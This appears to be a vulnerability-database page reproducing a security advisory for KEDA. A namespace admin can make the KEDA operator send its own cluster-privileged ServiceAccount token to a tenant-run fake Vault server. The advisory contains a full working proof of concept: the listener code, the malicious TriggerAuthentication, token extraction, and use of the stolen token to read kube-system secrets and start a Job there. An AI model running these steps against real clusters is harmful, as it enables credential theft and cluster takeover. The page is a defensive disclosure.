GHSA-637C-6JXX-4RWM

Vulnerability from github – Published: 2026-10-15 20:19 – Updated: 2026-10-15 20:19
VLAI
Summary
KEDA: Privilege escalation from namespace admin to cluster admin via KEDA TriggerAuthentication
Details

Summary

A namespace admin who creates a TriggerAuthentication and a ScaledObject in their own namespace can make the KEDA operator send its own ServiceAccount token to a tenant-controlled URL. That token holds ["*"]/["*"] get cluster-wide, so it reads every Secret in every namespace, plus batch/jobs and horizontalpodautoscalers create/delete cluster-wide, */scale update on any workload, validatingwebhookconfigurations update (rewrite or disable cluster admission), and apiservices update (hijack aggregated API routing). This is effectively privilege escalation from namespace admin to cluster admin in real environments: a cluster-wide Secret read alone is enough to find a token for a more privileged ServiceAccount, and the cluster-wide batch/jobs create lets the attacker run a workload in any namespace whose Pod Security Admission level permits it (or that is PSA-exempt, such as kube-system , kyverno) to reach the node filesystem and a control-plane kubeconfig.

This is an incomplete fix of CVE-2025-68476: its content filter only requires the loaded file to be a JWT whose subject begins with system:serviceaccount:, which the operator's own projected token satisfies by construction. The destination field hashiCorpVault.address is unvalidated.

Finder credits: Artem Cherezov @cherez0ff, with Claude Opus 4.8

Verified live

kind v1.31.2, kedacore/keda v2.20.0 (latest at the time of audit, https://github.com/kedacore/keda) installed from the unmodified release manifest keda-2.20.0.yaml (ghcr.io/kedacore/keda:2.20.0), default settings.

Preconditions

  1. The tenant holds create on triggerauthentications.keda.sh and scaledobjects.keda.sh in its own namespace (the documented KEDA tenant workflow), plus the built-in edit ClusterRole in that namespace. Often granted by a namespaced admin Role (--verb='*' --resource='*.*') in multi-tenant environments.
  2. KEDA is installed with default settings.

Reproduction

Cluster preparation (not part of the attack)

kind create cluster --image kindest/node:v1.31.2 --name keda-poc --kubeconfig ./kubeconfig
export KUBECONFIG=./kubeconfig

# Install KEDA v2.20.0 (unmodified vendor release manifest).
curl -sSL -o keda-2.20.0.yaml https://github.com/kedacore/keda/releases/download/v2.20.0/keda-2.20.0.yaml
kubectl apply --server-side -f keda-2.20.0.yaml
kubectl wait --for=condition=Established crd/triggerauthentications.keda.sh crd/scaledobjects.keda.sh --timeout=120s
kubectl -n keda rollout status deploy/keda-operator --timeout=180s

# Tenant identity: namespace admin in tenant-a.
kubectl create namespace tenant-a
kubectl -n tenant-a create serviceaccount tenant
kubectl -n tenant-a create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant-a:tenant
kubectl -n tenant-a create role tenant-keda --verb=create,get --resource=triggerauthentications.keda.sh,scaledobjects.keda.sh
kubectl -n tenant-a create rolebinding tenant-keda --role=tenant-keda --serviceaccount=tenant-a:tenant

# Mint a tenant kubeconfig from a real TokenRequest token.
SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
CA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}')
TOKEN=$(kubectl -n tenant-a create token tenant --duration=24h)
cat > kubeconfig-tenant <<EOF
apiVersion: v1
kind: Config
clusters:
- name: kind
  cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }
contexts:
- name: tenant
  context: { cluster: kind, user: tenant, namespace: tenant-a }
current-context: tenant
users:
- name: tenant
  user: { token: ${TOKEN} }
EOF

# Seed a "secret" canary in kube-system to make impact self-evident.
kubectl -n kube-system create secret generic poc-canary --from-literal=canary=KEDA-F1-CANARY-7f3a9c2e

Attack

  1. Deploy a listener in the tenant namespace that impersonates a HashiCorp Vault server. It logs the login request body and replies with a well-formed Vault auth envelope. The KEDA operator uses the Vault Go client, which issues the login as an HTTP PUT, so the listener must accept all methods.
kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'
apiVersion: v1
kind: ConfigMap
metadata: { name: fake-vault-src, namespace: tenant-a }
data:
  vault.py: |
    import http.server, socketserver, sys, json
    class H(http.server.BaseHTTPRequestHandler):
        def log_message(self,*a): pass
        def _h(self):
            ln=int(self.headers.get('Content-Length') or 0)
            body=self.rfile.read(ln) if ln else b''
            sys.stdout.write("VAULT-LOGIN %s %s\n%s\n"%(self.command,self.path,body.decode('utf-8','replace'))); sys.stdout.flush()
            r=json.dumps({"auth":{"client_token":"s.poc","lease_duration":3600,"renewable":True,"policies":["default"]}}).encode()
            self.send_response(200); self.send_header("Content-Type","application/json"); self.send_header("Content-Length",str(len(r))); self.end_headers(); self.wfile.write(r)
        do_GET=do_POST=do_PUT=do_DELETE=do_OPTIONS=do_HEAD=_h
    socketserver.TCPServer.allow_reuse_address=True
    with socketserver.TCPServer(("0.0.0.0",8200),H) as s: s.serve_forever()
---
apiVersion: v1
kind: Pod
metadata: { name: fake-vault, namespace: tenant-a, labels: { app: fake-vault } }
spec:
  containers:
  - name: vault
    image: python:3.12-slim@sha256:090ba77e2958f6af52a5341f788b50b032dd4ca28377d2893dcf1ecbdfdfe203
    command: ["python3","/src/vault.py"]
    volumeMounts: [{ name: src, mountPath: /src }]
  volumes: [{ name: src, configMap: { name: fake-vault-src } }]
---
apiVersion: v1
kind: Service
metadata: { name: fake-vault, namespace: tenant-a }
spec:
  selector: { app: fake-vault }
  ports: [{ port: 8200, targetPort: 8200 }]
EOF
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a wait --for=condition=Ready pod/fake-vault --timeout=120s
  1. Create the TriggerAuthentication (the primitive) and a ScaledObject with a cron trigger referencing it. With authentication: kubernetes and no credential block, KEDA defaults credential.serviceAccount to the operator pod's own token path.
kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF'
apiVersion: keda.sh/v1alpha1
kind: TriggerAuthentication
metadata: { name: vault-auth, namespace: tenant-a }
spec:
  hashiCorpVault:
    address: http://fake-vault.tenant-a.svc:8200   # tenant-controlled destination, no validation
    authentication: kubernetes
    mount: kubernetes
    role: poc
    secrets:
    - { parameter: anything, key: anything, path: secret/data/anything }
---
apiVersion: keda.sh/v1alpha1
kind: ScaledObject
metadata: { name: poc-so, namespace: tenant-a }
spec:
  scaleTargetRef: { name: poc-target }
  pollingInterval: 5
  minReplicaCount: 0
  maxReplicaCount: 2
  triggers:
  - type: cron
    metadata: { timezone: UTC, start: "0 * * * *", end: "30 * * * *", desiredReplicas: "1" }
    authenticationRef: { name: vault-auth }
---
apiVersion: apps/v1
kind: Deployment
metadata: { name: poc-target, namespace: tenant-a }
spec:
  replicas: 1
  selector: { matchLabels: { app: poc-target } }
  template:
    metadata: { labels: { app: poc-target } }
    spec:
      containers: [{ name: pause, image: registry.k8s.io/pause:3.10 }]
EOF
  1. The operator reconciles the ScaledObject, builds the scaler, resolves the authenticationRef, and PUTs its own ServiceAccount token to the listener as the Vault login body. Read it back:
sleep 20
kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault | grep -A1 'VAULT-LOGIN PUT'
# VAULT-LOGIN PUT /v1/auth/kubernetes/login
# {"jwt":"eyJhbGciOiJSUzI1NiIs...","role":"poc"}
  1. Build a kubeconfig from the stolen token and use it. The token authenticates as the operator ServiceAccount and reads the kube-system Secret the tenant could not read directly:
STOLEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault \
  | sed -n 's/.*"jwt":"\([^"]*\)".*/\1/p' | head -1)
cat > kubeconfig-stolen <<EOF
apiVersion: v1
kind: Config
clusters:
- name: kind
  cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }
contexts:
- name: stolen
  context: { cluster: kind, user: stolen }
current-context: stolen
users:
- name: stolen
  user: { token: ${STOLEN} }
EOF

kubectl --kubeconfig=./kubeconfig-stolen auth whoami
# Username  system:serviceaccount:keda:keda-operator

kubectl --kubeconfig=./kubeconfig-stolen -n kube-system get secret poc-canary -o jsonpath='{.data.canary}' | base64 -d
# KEDA-F1-CANARY-7f3a9c2e

# The token also creates workloads cluster-wide via batch/jobs; a Job lands a pod in kube-system.
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system create job pwn --image=busybox -- sh -c 'sleep 60'
# job.batch/pwn created
kubectl --kubeconfig=./kubeconfig-stolen -n kube-system get pods -l job-name=pwn
# pwn-q5j5s   1/1   Running   0   8s

Root cause

A namespace tenant should not be able to make the operator authenticate to a tenant-controlled server using the operator's own cluster-privileged identity. The destination address is fully tenant-controlled and unvalidated, and the credential the operator presents defaults to its own ServiceAccount token. The content filter added for the prior arbitrary-file-read advisory checks only that the loaded bytes look like a Kubernetes ServiceAccount token, which is exactly the shape of the operator's own token, so it does not constrain the credential to one the tenant is entitled to use.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kedacore/keda"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kedacore/keda/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77524"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-15T20:19:42Z",
    "nvd_published_at": "2026-10-14T17:19:11Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nA namespace admin who creates a `TriggerAuthentication` and a `ScaledObject` in their own namespace can make the KEDA operator send its own ServiceAccount token to a tenant-controlled URL. That token holds `[\"*\"]/[\"*\"] get` cluster-wide, so it reads every Secret in every namespace, plus `batch/jobs` and `horizontalpodautoscalers` create/delete cluster-wide, `*/scale` update on any workload, `validatingwebhookconfigurations` update (rewrite or disable cluster admission), and `apiservices` update (hijack aggregated API routing). This is effectively privilege escalation from namespace admin to cluster admin in real environments: a cluster-wide Secret read alone is enough to find a token for a more privileged ServiceAccount, and the cluster-wide `batch/jobs` create lets the attacker run a workload in any namespace whose Pod Security Admission level permits it (or that is PSA-exempt, such as `kube-system` , `kyverno`) to reach the node filesystem and a control-plane kubeconfig.\n\nThis is an incomplete fix of CVE-2025-68476: its content filter only requires the loaded file to be a JWT whose subject begins with `system:serviceaccount:`, which the operator\u0027s own projected token satisfies by construction. The destination field `hashiCorpVault.address` is unvalidated.\n\nFinder credits: Artem Cherezov @cherez0ff, with Claude Opus 4.8\n\n## Verified live\n\nkind v1.31.2, kedacore/keda v2.20.0 (latest at the time of audit, \u003chttps://github.com/kedacore/keda\u003e) installed from the unmodified release manifest `keda-2.20.0.yaml` (`ghcr.io/kedacore/keda:2.20.0`), default settings.\n\n## Preconditions\n\n1. The tenant holds `create` on `triggerauthentications.keda.sh` and `scaledobjects.keda.sh` in its own namespace (the documented KEDA tenant workflow), plus the built-in `edit` ClusterRole in that namespace. Often granted by a namespaced admin Role (`--verb=\u0027*\u0027 --resource=\u0027*.*\u0027`) in multi-tenant environments.\n2. KEDA is installed with default settings.\n\n## Reproduction\n\n### Cluster preparation (not part of the attack)\n\n```sh\nkind create cluster --image kindest/node:v1.31.2 --name keda-poc --kubeconfig ./kubeconfig\nexport KUBECONFIG=./kubeconfig\n\n# Install KEDA v2.20.0 (unmodified vendor release manifest).\ncurl -sSL -o keda-2.20.0.yaml https://github.com/kedacore/keda/releases/download/v2.20.0/keda-2.20.0.yaml\nkubectl apply --server-side -f keda-2.20.0.yaml\nkubectl wait --for=condition=Established crd/triggerauthentications.keda.sh crd/scaledobjects.keda.sh --timeout=120s\nkubectl -n keda rollout status deploy/keda-operator --timeout=180s\n\n# Tenant identity: namespace admin in tenant-a.\nkubectl create namespace tenant-a\nkubectl -n tenant-a create serviceaccount tenant\nkubectl -n tenant-a create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant-a:tenant\nkubectl -n tenant-a create role tenant-keda --verb=create,get --resource=triggerauthentications.keda.sh,scaledobjects.keda.sh\nkubectl -n tenant-a create rolebinding tenant-keda --role=tenant-keda --serviceaccount=tenant-a:tenant\n\n# Mint a tenant kubeconfig from a real TokenRequest token.\nSERVER=$(kubectl config view --minify -o jsonpath=\u0027{.clusters[0].cluster.server}\u0027)\nCA=$(kubectl config view --minify --raw -o jsonpath=\u0027{.clusters[0].cluster.certificate-authority-data}\u0027)\nTOKEN=$(kubectl -n tenant-a create token tenant --duration=24h)\ncat \u003e kubeconfig-tenant \u003c\u003cEOF\napiVersion: v1\nkind: Config\nclusters:\n- name: kind\n  cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }\ncontexts:\n- name: tenant\n  context: { cluster: kind, user: tenant, namespace: tenant-a }\ncurrent-context: tenant\nusers:\n- name: tenant\n  user: { token: ${TOKEN} }\nEOF\n\n# Seed a \"secret\" canary in kube-system to make impact self-evident.\nkubectl -n kube-system create secret generic poc-canary --from-literal=canary=KEDA-F1-CANARY-7f3a9c2e\n```\n\n### Attack\n\n1. Deploy a listener in the tenant namespace that impersonates a HashiCorp Vault server. It logs the login request body and replies with a well-formed Vault auth envelope. The KEDA operator uses the Vault Go client, which issues the login as an HTTP `PUT`, so the listener must accept all methods.\n\n```sh\nkubectl --kubeconfig=./kubeconfig-tenant apply -f - \u003c\u003c\u0027EOF\u0027\napiVersion: v1\nkind: ConfigMap\nmetadata: { name: fake-vault-src, namespace: tenant-a }\ndata:\n  vault.py: |\n    import http.server, socketserver, sys, json\n    class H(http.server.BaseHTTPRequestHandler):\n        def log_message(self,*a): pass\n        def _h(self):\n            ln=int(self.headers.get(\u0027Content-Length\u0027) or 0)\n            body=self.rfile.read(ln) if ln else b\u0027\u0027\n            sys.stdout.write(\"VAULT-LOGIN %s %s\\n%s\\n\"%(self.command,self.path,body.decode(\u0027utf-8\u0027,\u0027replace\u0027))); sys.stdout.flush()\n            r=json.dumps({\"auth\":{\"client_token\":\"s.poc\",\"lease_duration\":3600,\"renewable\":True,\"policies\":[\"default\"]}}).encode()\n            self.send_response(200); self.send_header(\"Content-Type\",\"application/json\"); self.send_header(\"Content-Length\",str(len(r))); self.end_headers(); self.wfile.write(r)\n        do_GET=do_POST=do_PUT=do_DELETE=do_OPTIONS=do_HEAD=_h\n    socketserver.TCPServer.allow_reuse_address=True\n    with socketserver.TCPServer((\"0.0.0.0\",8200),H) as s: s.serve_forever()\n---\napiVersion: v1\nkind: Pod\nmetadata: { name: fake-vault, namespace: tenant-a, labels: { app: fake-vault } }\nspec:\n  containers:\n  - name: vault\n    image: python:3.12-slim@sha256:090ba77e2958f6af52a5341f788b50b032dd4ca28377d2893dcf1ecbdfdfe203\n    command: [\"python3\",\"/src/vault.py\"]\n    volumeMounts: [{ name: src, mountPath: /src }]\n  volumes: [{ name: src, configMap: { name: fake-vault-src } }]\n---\napiVersion: v1\nkind: Service\nmetadata: { name: fake-vault, namespace: tenant-a }\nspec:\n  selector: { app: fake-vault }\n  ports: [{ port: 8200, targetPort: 8200 }]\nEOF\nkubectl --kubeconfig=./kubeconfig-tenant -n tenant-a wait --for=condition=Ready pod/fake-vault --timeout=120s\n```\n\n2. Create the `TriggerAuthentication` (the primitive) and a `ScaledObject` with a `cron` trigger referencing it. With `authentication: kubernetes` and no `credential` block, KEDA defaults `credential.serviceAccount` to the operator pod\u0027s own token path.\n\n```sh\nkubectl --kubeconfig=./kubeconfig-tenant apply -f - \u003c\u003c\u0027EOF\u0027\napiVersion: keda.sh/v1alpha1\nkind: TriggerAuthentication\nmetadata: { name: vault-auth, namespace: tenant-a }\nspec:\n  hashiCorpVault:\n    address: http://fake-vault.tenant-a.svc:8200   # tenant-controlled destination, no validation\n    authentication: kubernetes\n    mount: kubernetes\n    role: poc\n    secrets:\n    - { parameter: anything, key: anything, path: secret/data/anything }\n---\napiVersion: keda.sh/v1alpha1\nkind: ScaledObject\nmetadata: { name: poc-so, namespace: tenant-a }\nspec:\n  scaleTargetRef: { name: poc-target }\n  pollingInterval: 5\n  minReplicaCount: 0\n  maxReplicaCount: 2\n  triggers:\n  - type: cron\n    metadata: { timezone: UTC, start: \"0 * * * *\", end: \"30 * * * *\", desiredReplicas: \"1\" }\n    authenticationRef: { name: vault-auth }\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata: { name: poc-target, namespace: tenant-a }\nspec:\n  replicas: 1\n  selector: { matchLabels: { app: poc-target } }\n  template:\n    metadata: { labels: { app: poc-target } }\n    spec:\n      containers: [{ name: pause, image: registry.k8s.io/pause:3.10 }]\nEOF\n```\n\n3. The operator reconciles the `ScaledObject`, builds the scaler, resolves the `authenticationRef`, and PUTs its own ServiceAccount token to the listener as the Vault login body. Read it back:\n\n```sh\nsleep 20\nkubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault | grep -A1 \u0027VAULT-LOGIN PUT\u0027\n# VAULT-LOGIN PUT /v1/auth/kubernetes/login\n# {\"jwt\":\"eyJhbGciOiJSUzI1NiIs...\",\"role\":\"poc\"}\n```\n\n4. Build a kubeconfig from the stolen token and use it. The token authenticates as the operator ServiceAccount and reads the kube-system Secret the tenant could not read directly:\n\n```sh\nSTOLEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault \\\n  | sed -n \u0027s/.*\"jwt\":\"\\([^\"]*\\)\".*/\\1/p\u0027 | head -1)\ncat \u003e kubeconfig-stolen \u003c\u003cEOF\napiVersion: v1\nkind: Config\nclusters:\n- name: kind\n  cluster: { server: ${SERVER}, certificate-authority-data: ${CA} }\ncontexts:\n- name: stolen\n  context: { cluster: kind, user: stolen }\ncurrent-context: stolen\nusers:\n- name: stolen\n  user: { token: ${STOLEN} }\nEOF\n\nkubectl --kubeconfig=./kubeconfig-stolen auth whoami\n# Username  system:serviceaccount:keda:keda-operator\n\nkubectl --kubeconfig=./kubeconfig-stolen -n kube-system get secret poc-canary -o jsonpath=\u0027{.data.canary}\u0027 | base64 -d\n# KEDA-F1-CANARY-7f3a9c2e\n\n# The token also creates workloads cluster-wide via batch/jobs; a Job lands a pod in kube-system.\nkubectl --kubeconfig=./kubeconfig-stolen -n kube-system create job pwn --image=busybox -- sh -c \u0027sleep 60\u0027\n# job.batch/pwn created\nkubectl --kubeconfig=./kubeconfig-stolen -n kube-system get pods -l job-name=pwn\n# pwn-q5j5s   1/1   Running   0   8s\n```\n\n## Root cause\n\nA namespace tenant should not be able to make the operator authenticate to a tenant-controlled server using the operator\u0027s own cluster-privileged identity. The destination address is fully tenant-controlled and unvalidated, and the credential the operator presents defaults to its own ServiceAccount token. The content filter added for the prior arbitrary-file-read advisory checks only that the loaded bytes look like a Kubernetes ServiceAccount token, which is exactly the shape of the operator\u0027s own token, so it does not constrain the credential to one the tenant is entitled to use.",
  "id": "GHSA-637c-6jxx-4rwm",
  "modified": "2026-10-15T20:19:43Z",
  "published": "2026-10-15T20:19:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kedacore/keda/security/advisories/GHSA-637c-6jxx-4rwm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77524"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kedacore/keda/commit/1e21cc798dedd079e696cdb45388eddc5e18365d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kedacore/keda"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kedacore/keda/releases/tag/v2.21.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "KEDA: Privilege escalation from namespace admin to cluster admin via KEDA TriggerAuthentication"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.